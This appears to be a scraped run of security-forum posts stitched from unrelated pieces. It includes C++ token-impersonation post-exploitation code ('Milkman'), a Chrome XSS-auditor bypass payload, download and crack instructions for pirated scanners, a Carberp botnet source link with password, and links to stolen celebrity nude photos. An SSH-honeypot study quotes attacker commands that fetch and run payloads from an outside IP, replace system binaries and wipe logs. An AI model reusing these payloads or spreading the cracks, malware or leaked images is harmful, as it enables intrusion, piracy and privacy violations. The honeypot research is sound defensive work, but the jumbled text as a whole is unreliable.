Nytro

Milkman: Creating Processes as Any Currently Logged in User One of the problems with using PSEXEC from Metasploit (any of the psexec modules) is that it runs as SYSTEM. What’s the problem with that? Isn’t SYSTEM god mode? Ya, and normally I’d agree that it’s the best level to have, but the defenses these days have gotten better, and getting direct connections out is pretty rare. That leaves proxies, and as you know SYSTEM doesn’t get any proxy settings. Here is a blog post that I made about setting the proxies for SYSTEM but leaving settings like this set is not only sloppy but hard to clean up. Along comes RunAsCurrentUser-2.0.3.1.exe I found this gem by messing up a search on google for RunAsUser. Found it on this IBM support post. Link to direct download: http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe Here is a mirror uploaded to my Post Exploitation repo: https://github.com/mubix/post-exploitation/blob/master/win32bins/RunAsCurrentUser-2.0.3.1.exe This binary takes a path to another executable as an argument. It then finds the currently logged in user and starts the provided executable as that user. AWESOME! This basically solves the whole PSEXEC->SYSTEM no-proxy settings issue. And it’s created by a legitimate company for legitimate reasons? w00tw00t. Game on! Only two problems: It is 335K, which doesn’t seem like much but over high latency lines that can take an eternity to transfer, especially over doubly encrypted channels like with a reverse_https meterpreter session. It takes an argument which normally isn’t a huge challenge, but in our specific use case, psexec modules in Metasploit, it isn’t something we can do easily. You would have to upload your C2 binary, as well as the 335K RunAsCurrentUser over to the target host, then run the psexec_command module to execute them both, one as the argument of the other. Kinda sloppy. So I set to try and figure out how this binary did it’s magic. As I’m not much of a reverse engineer I uploaded it to VirusTotal so I could take a look at it’s insides (plus, double check to see if it was being detected as malicious at all). As far as I can tell the important pieces are the Windows API calls ImpersonateLoggedOnUser, and CreateProcessAsUserA. I set to trying to reproduce what it did in AutoIT (awesome stuff if you have never checked it out). I couldn’t quite get the API calls right, so I decided to give C++ a shot. Turned out to be pretty simple. I present to you “Milkman”: https://gist.github.com/mubix/5d0cacdabfe092922fa3 (full source included below) This program (once compiled) takes one argument (or none at all) and runs calc.exe for every instance of the process you tell it to. If you run it without arguments it auto selects explorer.exe. So if you create a service: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]C:\temp\>sc create SuperService binpath= C:\Temp\milkman.exe type= own start= auto [sC] CreateService SUCCESS[/TD] [/TR] [/TABLE] It will start up every time the computer starts, which is completely useless, since there won’t be any users logged in at that point, but you get where this can go. Features to add to this at point are: Create a service binary that responds to START/STOP/PAUSE commands and such so that running this as a persistence method would actually be useful. Add a loop so that it continues to run checking for explorer.exe every so often so it can catch when someone is logged in. Finally the obvious one is to change it from being calc.exe that it runs by accepting another argument or some other kind of config option. Thoughts? What would you like Milkman to do, or what use case do you think a tweak would make it work better for? Leave a comment below. #ifndef UNICODE#define UNICODE #endif #include <Windows.h> #include <string.h> #include <stdio.h> #include <Psapi.h> void perror(DWORD nStatus) { LPVOID lpMsgBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, nStatus, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL); wprintf(L"[-] %6d %s\n", nStatus, lpMsgBuf); if (lpMsgBuf) { LocalFree(lpMsgBuf); } } int str_ends_with(TCHAR * str, TCHAR * suffix) { if (str == NULL || suffix == NULL) { return 0; } size_t str_len = wcslen(str); size_t suffix_len = wcslen(suffix); if (suffix_len > str_len) { return 0; } return 0 == wcscmp(str + str_len - suffix_len, suffix); } int start_process(int PID) { TCHAR cmd[512] = TEXT("calc.exe"); STARTUPINFO startup_info; PROCESS_INFORMATION process_information; SECURITY_IMPERSONATION_LEVEL impLevel = SecurityImpersonation; LPVOID pEnvironment; HANDLE hProc = NULL; HANDLE hToken = NULL; HANDLE hTokenDup = NULL; ZeroMemory(&startup_info, sizeof(startup_info)); startup_info.cb = sizeof(startup_info); ZeroMemory(&process_information, sizeof(process_information)); ZeroMemory(&pEnvironment, sizeof(pEnvironment)); hProc = OpenProcess(GENERIC_ALL, FALSE, PID); //perror(GetLastError()); OpenProcessToken(hProc, GENERIC_ALL, &hToken); //perror(GetLastError()); ImpersonateLoggedOnUser(hToken); //perror(GetLastError()); DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, impLevel, TokenPrimary, &hTokenDup); //perror(GetLastError()); CreateProcessAsUser(hTokenDup, NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, &pEnvironment, NULL, &startup_info, &process_information); //perror(GetLastError()); return 0; } int find(TCHAR *name) { //wprintf(TEXT("Looking for %s\n"), name); DWORD aProcesses[1024], cbNeeded, cProcesses; unsigned int i; HANDLE hProcessEnum; TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>"); if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) { return 1; } cProcesses = cbNeeded / sizeof(DWORD); for (i = 0; i < cProcesses; i++) { if (aProcesses != 0) { hProcessEnum = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses); if (NULL != hProcessEnum) { GetProcessImageFileName(hProcessEnum, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)); if (str_ends_with(szProcessName, name)) { //wprintf(TEXT("[+] %d -\t%s\n"), aProcesses, szProcessName); start_process(aProcesses); } } } } return 0; } int wmain(int argc, TCHAR * argv[]) { if (argc > 1 && argv[1]) { find(argv[1]); //sperror(GetLastError()); } else { find(TEXT("explorer.exe")); //perror(GetLastError()); } return 0; } Posted by mubix Aug 14th, 2014 Sursa: Milkman: Creating processes as any currently logged in user - Room362.com

Google Chrome 31.0 XSS Auditor Bypass Authored by Rafay Baloch Google chrome XSS auditor was found prone to a bypass when the user input passed though location.hash was being written to the DOM by using document.write property. Normally, XSS auditor checks XSS by comparing the request and response however, it also checks for request itself, if it contains an untrusted input to prevent DOM XSS as well. #Vulnerability: Google Chrome 31.0 XSS Auditor Bypass #Impact: Moderate #Authors: Rafay Baloch #Company: RHAInfoSec #Website: http://rhainfosec.com <http://rhainfose.com/> #version: Latest Description Google chrome XSS auditor was found prone to a bypass when the user input passed though location.hash was being written to the DOM by using document.write property. Normally, XSS auditor checks XSS by comparing the request and response however, it also checks for request itself, if it contains an untrusted input to prevent DOM XSS as well. Proof Of concept: Consider the following code: <html> <body> <script type="text/javascript"> document.write(location.hash); </script> </body> </html> This takes input from location.hash property and writes it to the DOM. We initially inject the following payload: #<img src=x onerror=prompt(1)>. The request is blocked and the following error is returned: " The XSS Auditor refused to execute a script in 'attacker.com#><img src=x onerror=prompt(1)>' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header." However, the following vector passes by: #<img src=x onerror=prompt(1)// The following is how its reflected inside of DOM: <img src="x" onerror="prompt(1)//" <="" body=""> Sursa: Google Chrome 31.0 XSS Auditor Bypass ? Packet Storm

[h=2]Bifrozt - A high interaction honeypot solution for Linux based systems.[/h]Tue, 09/02/2014 - 12:34 — are.hansen A few days ago I was contacted by our CPRO, Leon van der Eijk, and asked to write a blog post about my own project called Bifrozt; something which I was more than happy to do. This post will explain what Bifrozt is, how this got started, the overall status of the project and what will happen further down the road. What is Bifrozt? Generally speaking, Bifrozt is a NAT device with a DHCP server that is usually deployed with one NIC connected directly to the Internet and one NIC connected to the internal network. What differentiates Bifrozt from other standard NAT devices is its ability to work as a transparent SSHv2 proxy between an attacker and your honeypot. If you deployed a SSH server on Bifrozt's internal network it would log all the interaction to a TTY file in plain text that could be viewed later and capture a copy of any files that were downloaded. You would not have to install any additional software, compile any kernel modules or use a specific version or type of operating system on the internal SSH server for this to work. It will limit outbound traffic to a set number of ports and will start to drop outbound packets on these ports when certain limits are exceeded. How it started. Bifrozt is not something I can take full credit for, it depends on a awesome python project by Thomas Nicholson which I discovered in February 2014. Thomas had coded a SSH proxy called HonSSH and had taken inspiration and utilized code from the medium interaction Kippo honeypot. After I discovered HonSSH I decided to build an ISO file, that would allow me to install a pre-configured NAT device with HonSSH, on either a hardware or virtualized machine. I thought this would be a suitable project that I could occupy myself with during a 2 week holiday. Six months later and the project is still very much alive. Current status. Me and Thomas have been co-operating over the last five months to align our projects as much possible. Developing Bifrozt is much like building a car. Thomas is developing the engine (HonSSH) and making sure it's running smoothly, whilst I am developing the strong and solid frame (firewall, data extraction from log files, data control, system configuration etc etc) around it. Bifrozt has been in a proof of concept stage (Alpha) for the last six months. The current version, 0.0.8, has a relative humble feature list, but this is about to change. Bifrozt 0.0.8 -------------- - Intercept downloaded files - Logs all SSH communications to plain text file and TTY logs - Enforces data control - Facilitates data capture - Provides high level integrity of the captured data - Hardware installation - Virtual installation - Honeyd is pre-installed - Easy data extraction from logs - Disrupts outbound SYN flood attacks from the honeypot - Disrupts outbound UDP flood attacks from the honeypot - Compatible with amd64 architecture After after a few weeks of summer vacation I've started planning and testing the next release of Bifrozt. Bifrozt 0.0.9 -------------- - Compatible with x86 architecture - IDS (Snort or Suricata) - Viewing alerts and statistics trough a browser - Complete overhaul of the Python code - Multiple installation options to better suit the hardware resources and needs of the end user - Expand the current toolbox - Change base system from Ubuntu to Debian (not made any final decision about this yet) - Tool to generate DROP rules based on country of origin - Update and add more functions to bifrozt_stats (log data extraction) Roadmap for the future. No one knows what is going to happen down the road but, at the present time neither me or Thomas plan on abandoning our projects any time soon. We have both decided to create a road map for the future and he has allowed me to share them here, together with mine. Bifrozt roadmap. ------------------- Short term goals (Alpha stage): System: - Off line installation - Desktop environment (install option) - Optimizing IDS - Expand/improve web stats (optimize current, add HonSSH, create a dedicated start page) - HP feeds data sharing - Optimize firewall and data control Tools: - Simple static malware analysis (add VirusTotal upload function) - System re-configuration tool(s) (DHCP, SSH, firewall etc etc) - Develop new tools or adjust current to complement additional data captured by HonSSH Long term goals (Beta stage and beyond): - Provide a NAT device that provides reliant data capture of the most commonly used protocols - Quickly display data about the attacks, malware, outbound communication in a easy understandable format - To the extent of my abilities, make suer the project continues to be based on open source and freely available to anyone. HonSSH roadmap. --------------------- Short term: - Bring HonSSH out of proof-of-concept code into a more logical production format - Implement a bot to owner correlation technique using random passwords - Bug bashing Longer term: - Output data to ElasticSearch - Allow HTTP tunneling (currently disabled), parse HTTP outputs etc. - Parse X11 sessions - not sure if this will be worth it or not. - More consideration on data analysis (might be a separate project) HonSSH's current aim: - Parse, interpret and log all communications that travel through an SSH tunnel. Currently supports Terminal, Exec (and SCP) and SFTP traffic. HonSSH's current challenges: - Parsing the terminal - knowing what is a command, and what is program input e.g. nano etc. HonSSH's current questions: - Should HonSSH act on commands? e.g. When a wget command is detected, should it pull down the file (active), or should we use/develop another tool for passive packet capture/MITM of HTTP and IRC LINKS: Bifrozt HonSSH Sursa: https://www.honeynet.org/node/1191

http://bunga-videos.com/xxx/epic-celebrity-nude-leak-jennifer-lawrence-kate-upton-more/

RiskTool.Patcher HackTool[CrackTool:not-a-virus]/Win32.Patcher Win32:Patcher-AK [PUP] Riskware/GamePatcher PUA.HackTool.Patcher Majoritatea spun ca e "Patcher". E oarecum normal sa fie detectat, e un keygen.

Here is netsparker 3.5.3 Nu l-am incercat, nu stiu daca e infectat, executati pe proprie raspundere. Download: Download Crack rar I highly recommend that you use the cracks/patch after testing and download the apps trail versions from official websites and then use cracks on those. Sursa: https://www.opensc.ws/off-topic/19840-ibm-appscan-9-hp-webinspect-10-20-acunetix-9-5-a.html#post177138

Webinspect 10.20: download the application from official site itself. Nu l-am incercat, nu stiu daca e infectat, executati pe proprie raspundere. Download: https://download.hpsmartupdate.com/webinspect/ and crack here: Crack: hp webinspect crack.rar — RGhost — file sharing to crack copy WI8.exe and HPLicense.xml in installation folder double click WI8.exe first click on license and browse HPLicense.xml Then click on patch. Enjoy will be valid till 2020. Sursa: https://www.opensc.ws/off-topic/19840-ibm-appscan-9-hp-webinspect-10-20-acunetix-9-5-a.html#post177138

You can download trail version of appscan from their site by registering and downloading evaluation version. Otherwise you can download from here Nu l-am incercat, nu stiu daca e infectat, executati pe proprie raspundere. Download: ??? ??-qinxiaopeng456??? Download APPS_STD_EDI_9.0_WIN_ML_EVA .exe and LicenseProvider.dll Install appscan and then replace the LicenseProvider.dll in installation directory. Sursa: https://www.opensc.ws/off-topic/19840-ibm-appscan-9-hp-webinspect-10-20-acunetix-9-5-a.html#post177138

Audit Your Website Security with Acunetix Web Vulnerability Scanner As many as 70% of web sites have vulnerabilities that could lead to the theft of sensitive corporate data such as credit card information and customer lists. Hackers are concentrating their efforts on web-based applications - shopping carts, forms, login pages, dynamic content, etc. Accessible 24/7 from anywhere in the world, insecure web applications provide easy access to backend corporate databases. Nu l-am incercat, nu stiu daca e infectat, executati pe proprie raspundere: Download (cracked): Download Web Vul Scanner tar Sursa: https://www.opensc.ws/off-topic/19840-ibm-appscan-9-hp-webinspect-10-20-acunetix-9-5-a.html#post177138

Tinerii din ziua de azi... Instaleaza AdBlock Plus.

Cacat pe paine: - nu au site (Wiki-shit) - videoclipul de prezentare se adreseaza cocalarilor anonimusi - "grafica" mi-ar fi placut... cand aveam 12 ani Nu se compara Kali, un sistem de operare stabil, mentinut de catre o echipa de profesionisti, cu zdrancaneaua asta. Edit: Ma uit peste scriptul lor de "install-cloud-pizda-pe-paine": echo "deb http://frozenbox.mirror.garr.it/mirrors/parrot stable main" > /etc/apt/sources.list.d/parrot.list echo "deb http://frozenbox.mirror.garr.it/mirrors/debian stable main contrib non-free\ndeb-src http://frozenbox.mirror.garr.it/mirrors/debian stable main contrib non-free\n\ndeb http://frozenbox.mirror.garr.it/mirrors/debian stable-updates main contrib non-free\ndeb-src http://frozenbox.mirror.garr.it/mirrors/debian stable-updates main contrib non-free" > /etc/apt/sources.list.d/debian.list echo "deb http://frozenbox.mirror.garr.it/mirrors/kali kali-only main contrib non-free\ndeb http://frozenbox.mirror.garr.it/mirrors/kali-security kali/updates main contrib non-free" > /etc/apt/sources.list.d/kali.list echo "deb http://repo.mate-desktop.org/debian wheezy main" > /etc/apt/sources.list.d/mate.list wget -qO - http://repository.frozenbox.org/parrot/frozenbox.gpg.key | apt-key add - wget -qO - http://repository.frozenbox.org/parrot/kali.gpg.key | apt-key add - wget -qO - http://repo.mate-desktop.org/debian/mate-archive-keyring.gpg | apt-key add - apt-get update apt-get -y install apt-parrot --no-install-recommends apt-get update apt-get -y install parrot-core parrot-cloud parrot-tools-cloud apt-get dist-upgrade Mai exact: echo "deb http://frozenbox.mirror.garr.it/mirrors/kali kali-only main contrib non-free\ndeb http://frozenbox.mirror.garr.it/mirrors/kali-security kali/updates main contrib non-free" > /etc/apt/sources.list.d/kali.list wget -qO - http://repository.frozenbox.org/parrot/kali.gpg.key | apt-key add - Era evident: E doar un Kali colorat de-am-pulea.

Romanian Porn Team aka Hackerii Porno

Hopa. Au disparut pozele cu Jennifer.

C/C++ and Buffer Overflow Topics Buffer overflow, one of the widely used exploit in the last decades that effect the internet domain in large for example through virii and worms. What is the real cause actually? In this tutorial we will investigate some of the fundamental reasons that can be found in C/C++ programs, applications and processors that can generate the buffer overflow problem. Though most of the C/C++ functions/libraries already implemented new constructs, the secure constructs, the effect still can be seen till today. You will see that programmers also must be competent and have the responsibility in building programs or applications that are secure. [h=1] Introduction - Intro to how and why buffer overflow happens and exploited.[/h] [h=1] Basic of x86 Architecture - The basic of Intel processor internal architecture that related to buffer overflow topics, registers and basic instruction sets operations.[/h] [h=1] Assembly Language - Introduction to the assembly language, needed to program buffer overflow codes during the Shellcode building, payload crafting and shrinking the size of the C programs.[/h] [h=1] Compiler, Assembler & Linker - The process of compiling, assembling and linking C/C++ codes, the step-by-step operations.[/h] [h=5] C Function Operation - The details of the C/C++ function operation, stack call setup and destruction.[/h] [h=1] C Stack Setup - The C/C++ stack story, exposes the exploited buffer in registers.[/h] [h=1] Stack Operation - The C/C++ stack operation that exposes the exploited buffer.[/h] [h=1] Stack-based Buffer Overflow - How the processor's buffer can be over flown by malicious codes.[/h] [h=1] Shellcode: The Payload - Understanding and creating the shellcodes for the buffer overflow payloads, creating the malicious codes.[/h] [h=1] Vulnerability & Exploit Examples - Testing the the real C codes in the real and controlled environment to show the buffer overflow in action. Escalating the local Linux Fedora Core root privilege.[/h] [h=1] C, C++ and Bufferoverflow Books[/h] - See more at: The buffer overflow hands-on tutorial using C programming language on Linux/Unix platforms and Intel microprocessor architecture with C code samples and tons of illustrations

Nude photos of Jennifer Lawrence and others posted online by alleged hacker Website user publishes list of 100 mostly female actors, singers and celebrities of whom they claim to have explicit images Paul Farrell Pictures of Hunger Games star Jennifer Lawrence have been circulating on the internet. Photograph: Rotello/Photofab/REX/Rotello/Photofab/REX Images of more than 100 well-known actors, singers and celebrities, including what appear to be nude photos and videos, may have been exposed by a hacker in a major breach of privacy. On Sunday a user on the 4chan website posted a list of mostly female actors and public figures, including Jennifer Lawrence, Avril Lavigne, Kim Kardashian, Rihanna, Kirsten Dunst, Aubrey Plaza and Winona Ryder, of whom they claim to have explicit photographs or videos. A number of photos from some celebrities, including Hunger Games star Lawrence, have since been circulating on file-sharing and photo sites. 4chan quickly removed the posts from their site but screenshots of the list by one of the posters has a list of more than 60 names of celebrities who are alleged to have been hacked. The release of the images has drawn varying responses from the celebrities, with some conceding they are real photos and others denying their veracity. Buzzfeed reported that the user had also posted images of his desktop, one of which appeared to be an image of Jennifer Lawrence. A spokesman for Lawrence said: “This is a flagrant violation of privacy. The authorities have been contacted and will prosecute anyone who posts the stolen photos of Jennifer Lawrence.” Bla bla. Pozele porno sunt aici: http://www.reddit.com/r/TheFappening/comments/2f44n0/new_celeb_leaked_pics_all_in_one_place/ Jennifer Lawrence: http://imgur.com/a/KWOV2#0 Sursa: Nude photos of Jennifer Lawrence and others posted online by alleged hacker | World news | theguardian.com

Unix-privesc-checker is a script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD 6.2). It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases). It is written as a single shell script so it can be easily uploaded and run (as opposed to un-tarred, compiled and installed). It can run either as a normal user or as root (obviously it does a better job when running as root because it can read more files). Also see: unix-privesc-check | pentestmonkey Download: https://code.google.com/p/unix-privesc-check/

Weevely is a stealth PHP web shell that provides a telnet-like console. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones. Weevely is currently included in Backtrack and Backbox and all the major Linux distributions oriented for penetration testing. Start with a quick Tutorial, read about Modules and Generators. More than 30 modules to automate administration and post exploitation tasks Backdoor communications are hidden in HTTP Cookies Communications are obfuscated to bypass NIDS signature detection Backdoor polymorphic PHP code is obfuscated to avoid HIDS AV detection Download: https://epinna.github.io/Weevely/

[h=1][/h] Whonix is an operating system focused on anonymity, privacy and security. It's based on the Tor anonymity network[1], Debian GNU/Linux[2] and security by isolation. DNS leaks are impossible, and not even malware with root privileges can find out the user's real IP. Whonix consists of two parts: One solely runs Tor and acts as a gateway, which we call Whonix-Gateway. The other, which we call Whonix-Workstation, is on a completely isolated network. Only connections through Tor are possible. To learn more about security and anonymity under Whonix, please continue to the About Whonix page. Info: https://www.whonix.org/

Have fun: Leaks - Imgur Jennifer Lawrence si alte vedete "naked" :->

[h=2]Carbep botnet, source code[/h]Online: https://github.uconn.edu/kll09002/Carberp Download: https://mega.co.nz/#!0YsXWBRD!CMqd9nrm1d0XABKlifI9vmxprpQ6RnfsdhBHeKrDXao Password: KJ1#w2*LadiOQpw3oi029)K Oa(28)uspeh Via: https://www.opensc.ws/leaked-sources/19525-carbep-botnet-source-code.html

O poza mai mare cu tex: Nu va speriati de sabie, e pentru dusmani, oamenii nevinovati nu au de ce sa se teama (daca platesc taxele de protectie).

An in-depth analysis of SSH attacks on Amazon EC2 Summary The research study investigates Secure Shell (SSH) attacks on Amazon EC2 cloud instances across different AWS zones by means of deploying Smart Honeypot (SH). It provides an in-depth analysis of SSH attacks, SSH intruders profile, and attempts to identify their tactics and purposes. Key observations for this research experiment are as following: Without disclosure of SH’s IP addresses, in less than 10 hours, first brute-force attempt was detected. Over 89% of intruders only targeted one SH in one zone; Three threat actors (attacker’s profile) were detected – brute-forcer, infector and commander – by which their source IP addresses were completely different; Typically, blacklists are limited to prevent the first threat actor i.e. brute-forcer and not the other two; Top three (3) origin country of attacks (based on whois information) were China, Russia and Egypt; Some password lists used for brute-forcing SSH service were limited to few passwords and targeted toward compromising other malicious groups infected hosts; VoIP services, network appliances and development tools account names were constantly targeted by intruders; Upon a successful password guess, a new actor (Infector) appeared to upload malicious files to SH and a connection were made to an external Command and Control server; A number of tactics were used to hide malicious executable, replace legitimate executable with infected ones and disable audit functionalities of the operating system; A third actor (Commander) employed the infected SH to conduct denial-of-service (DoS) attacks; On average intruders’ source IP address was observed for a day and there was no further connection to check the status of the infected host or re-deploy the malicious files. Introduction Start a Cloud instance and you will be shocked with the number of ‘malicious’ attempts against your vanilla Cloud server. Well, you may not be even aware of those if you don’ monitor your network traffic, in and out of your server. Password brute-force attempt is among one of the common security attacks and adversaries are performing Internet-wide scanning, probing and penetrating of weak credentials on SSH services. As one of the use-cases for Smart Honeypot, I did a research experiment on SSH password brute-force attempts in Amazon EC2 environment to profile the adversaries and identify their tactics. Experiment setup The following list illustrates details of the experiment. Number of Smart Honeypots: three (3) Period of experiment: fourteen (14) days Start and end dates: 7 May 2014 to 21 May 2014 EC2 regions: North California (US), Oregon (US), Singapore (SG) Cloud instance base-image: Ubuntu 13.04 – EC2 Micro Instance IP address: Default EC2 Public IP range for each zone For each SH, I used EC2 Micro Instance as a base which has a SSH service exposed by default. From external perspective, this resemble like a typical EC2 Micro Instance. SH is equipped with its own unique technologies and at it has not borrowed from any known honeypot solution (as argued here ). Additionally, the techniques that are used within SH cannot be publicly disclosed in order to hide its presences from attackers and make it ideal to profile them. No domain name was mapped to the SH public IP addresses and their addresses were not disclosed or advertised anywhere. SSH service was modified to accept authentication through username and password (i.e. keyboard based) as well as public-private keys. An additional username (i.e. git) with a weak password was created on SSH server. The super user (i.e. root) password was also selected from a common password word-lists. Passwords on each SH were selected differently. Throughout the experiment, once an account was compromised and intruder was profiled, the password was changed to a different combination. Outgoing network traffic was actively monitored and filtered. This was a safe-guard not to allow the infrastructure to be (mis)used to target other Internet hosts Observation On all observations, I assume there is only one actor behind a single IP address. It took less than ten (10) hours to receive a first brute-force attempt on the SH. First successful password guess happened in 5 days and the subsequent successful attempt happened in less than 2 days. 91 unique successful password guesses happened during the experiment period. Three threat actors were identified during the experiment (Figure 1) in which they sourced from a unique IP address. Figure 1: Three (3) threat actors behind all SSH attacks Brute-forcer Brute-force (bot) attempted to brute force the target to find a correct username and password combination. As expected their behaviour was fully automated. Some bots attempted guessing a single username and password combination across all SHs and once unsuccessful, they move to the next password combination. This behavior was noticed since the bot IP address was observed across SHs in a short span of time (usually a few seconds); Some bots attempted to brute-force a set of username and password combination on a single SH and then moved to the next SH.. Some bots used threading and initiated parallel connections to the SSH service. This behavior was noticeable as password brute-force attempt did not stop immediately after a successful guess. The majority of bots only targeted one SH. 12% of bots source IP address were observed on all the SHs while the remaining 88% only targeted one SH. The majority of bots were seen over a single day and a few over span of two days. No further activity was observed from the same source of IP address. Figure 2: Percentage of intruders that target all Smart Honeypots v.s. one Smart Honeypot Password lists Some bots tried a limited set of passwords, normally less than 5 items. The password combination was not something common and it seems like they target particular servers or attempt to penetrate to other malicious groups compromised servers: @#$%hackin2inf3ctsiprepe@#$% darkhackerz01 ullaiftw5hack t0talc0ntr0l4! Among password there were instances such as “shangaidc” and “lanzhon” (Chinese terms) that was initially collected on Singapore-based SH however, later on, the passwords were observed on the other zones. The majority of bots used publicly available password lists such as RockYou or 500 worst passwords lists (see https://wiki.skullsecurity.org/Passwords). Targeted user accounts The majority of attempts were targeted on super accounts such as “root” or “admin”. The other group of highly targeted usernames were network appliances, development tools, and VoIP services:: teamspeak (a VoIP software, popular among video game players)) git, svn (code repositories for software development) nagios, vyatta (network appliances) Demographic Note: The reader should be reminded that the information were collected only by looking at the registration information (i.e. whois) of the intruder IP address and it should not perceived as the intrusions are orchestrated by a particular nation. A computer savvy person is aware of the fact that source IP addresses can be easily spoofed. The following picture demonstrate the origin country of the bot based on the IP whois information. Figure 3: SSH attacks’ origin countries (top left Singapore and right top and bottom US SHs) The majority of the attempts were sourced from China. Following by Russia targeting Singapore-based SH and Egypt for US-based SHs. There was no intrusion observed from Russia on US-based SH and from Egypt on Singapore-based SHs throughout the experiment. Infector Upon a successful brute-force attempt, bot stopped communicating with SH (only in one instance the bot continued brute-forcing however targeting a different user account) and it was interesting to observe there was no further connection from the bot’s source IP address, instead a new IP address with the correct username and password was observed to authenticate to the SSH. The new intruder, which I called it Infector, attempted to infect SH by using malicious scripts or binary files. The majority of the infectors used Secure Copy (scp) to transfer files to SH while there were instances where ‘wget’ was used to download malicious files from an external server. Upon successful file upload, infector executed a number of commands prior and after execution of malicious files. In the example below, infector checks for the available memory on the host, checks for last logged users, changes the permission settings on the malicious script (i.e. httpd.pl) and executes it. Finally she clears the history of her commands. "free -m",<ret>,"last",<ret>,"cd /var/tmp",<ret>,"chmod 777 httpd.pl",<ret>,"perl httpd.pl",<ret>,"cd",<ret>,"rm -rf .bash_history",<ret>,"history -c && clear",<ret>,"history -c && clear",<ret> In another example (below), infector first checks whether the system is 64bit or 32bit, then after relaxing the malicious binary permissions, it executes the binary and puts it in the background to make sure the process is running even after logging out. "getconf LONG_BIT",<ret>,<^V>,"chmod 0755 ./DDos32",<ret>,"/dev/null 2>&1 &",<ret>,"nohup ./DDos32 > /dev/null 2>&1 &",<ret> The above two examples were found to be scripted or automated, however, there were few instances that the interaction seems to be manual. Infector was found to key-in the commands, frequently use ‘backspace’ key to correct the typos (see below). bash "cd /etc",<ret>,"wget http://94.199.187.154/.../k.tgz; tar zxvf k.tgz ; rm -rf k.tgz;" ,<ret>," cd .kde; chmod +x *; ./start.sh; ",<ret>," ./bleah 87.98.216.186; ./bleah mgx1.magex.hu; ",<ret>,"/sbin/service crond restart",<ret>, "service crond restart",<ret>,"/etc/init.d/crond restart",<nl>,"w",<nl>, " historye",<backspace>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>, <backspace>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>, <backspace>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>, <backspace>,<backspace>,<backspace>,"oasswd",<ret>,"passwd",<ret>, "history -c",<ret>,"exit",<ret> After deployment of the malicious files, no further interactions observed from infectors. In some instances, I even killed the malicious process, in order to see if the infector attempts to reconnect and re-deploy the malicious file. Infector used a number of techniques to hide the existence of malicious files or replace legitimate binaries with malicious equivalents. Additionally, the infector attempted to clean her tracks by resetting the audit log file or disabling it. The following is the series of commands that infector executed on the SH where she replaced the legitimate binaries with malicious ones and attempted to load and execute a malicious kernel module. chmod 0755 /tmp/.bash_root.tmp3 nohup /tmp/.bash_root.tmp3 nohup /tmp/.bash_root.tmp3 chattr +i .bash_root.tmp3 chattr +i /tmp/.bash_root.tmp3 insmod /usr/lib/xpacket.ko ln -s /etc/init.d/DbSecuritySpt /etc/rc1.d/S97DbSecuritySpt ln -s /etc/init.d/DbSecuritySpt /etc/rc2.d/S97DbSecuritySpt ln -s /etc/init.d/DbSecuritySpt /etc/rc3.d/S97DbSecuritySpt ln -s /etc/init.d/DbSecuritySpt /etc/rc4.d/S97DbSecuritySpt ln -s /etc/init.d/DbSecuritySpt /etc/rc5.d/S97DbSecuritySpt mkdir -p /usr/bin/bsd-port cp -f /tmp/.bash_root.tmp3 /usr/bin/bsd-port/getty usr/bin/bsd-port/getty mkdir -p /usr/bin/dpkgd cp -f /bin/netstat /usr/bin/dpkgd/netstat mkdir -p /bin cp -f /tmp/.bash_root.tmp3 /bin/netstat chmod 0755 /bin/netstat cp -f /bin/ps /usr/bin/dpkgd/ps mkdir -p /bin cp -f /tmp/.bash_root.tmp3 /bin/ps chmod 0755 /bin/ps cp -f /usr/bin/lsof /usr/bin/dpkgd/lsof mkdir -p /usr/bin cp -f /tmp/.bash_root.tmp3 /usr/bin/lsof chmod 0755 /usr/bin/lsof mkdir -p /usr/bin cp -f /tmp/.bash_root.tmp3 /usr/bin/smm usr/bin/smm ln -s /etc/init.d/selinux /etc/rc1.d/S99selinux ln -s /etc/init.d/selinux /etc/rc2.d/S99selinux ln -s /etc/init.d/selinux /etc/rc3.d/S99selinux ln -s /etc/init.d/selinux /etc/rc4.d/S99selinux ln -s /etc/init.d/selinux /etc/rc5.d/S99selinux usr/bin/bsd-port/udevd insmod /usr/lib/xpacket.ko The following examples shows the audit logs were disabled (i.e. piped to null). ubuntu@ip-172-31-6-109:~$ ls -l /var/log total 1040 …[sNIP]… lrwxrwxrwx 1 root root 9 May 20 12:26 auth.log -> /dev/null -rw-r----- 1 syslog adm 296097 May 18 07:24 auth.log.1 -rw-r----- 1 syslog adm 7095 May 14 07:32 auth.log.2.gz -rw-r--r-- 1 root root 1535 May 13 14:16 boot.log lrwxrwxrwx 1 root root 9 May 20 12:26 btmp -> /dev/null -rw-r--r-- 1 syslog adm 37823 May 13 14:16 cloud-init.log drwxr-xr-x 2 root root 4096 Oct 10 2012 dist-upgrade …[sNIP]… lrwxrwxrwx 1 root root 9 May 20 12:26 lastlog -> /dev/null lrwxrwxrwx 1 root root 9 May 20 09:48 messages -> /dev/null lrwxrwxrwx 1 root root 9 May 20 09:48 secure -> /dev/null lrwxrwxrwx 1 root root 9 May 20 12:26 security -> /dev/null lrwxrwxrwx 1 root root 9 May 20 12:26 utx.lastlogin -> /dev/null lrwxrwxrwx 1 root root 9 May 20 12:26 utx.log -> /dev/null lrwxrwxrwx 1 root root 9 May 20 12:26 wtmp -> /dev/null lrwxrwxrwx 1 root root 9 May 20 09:48 xferlog -> 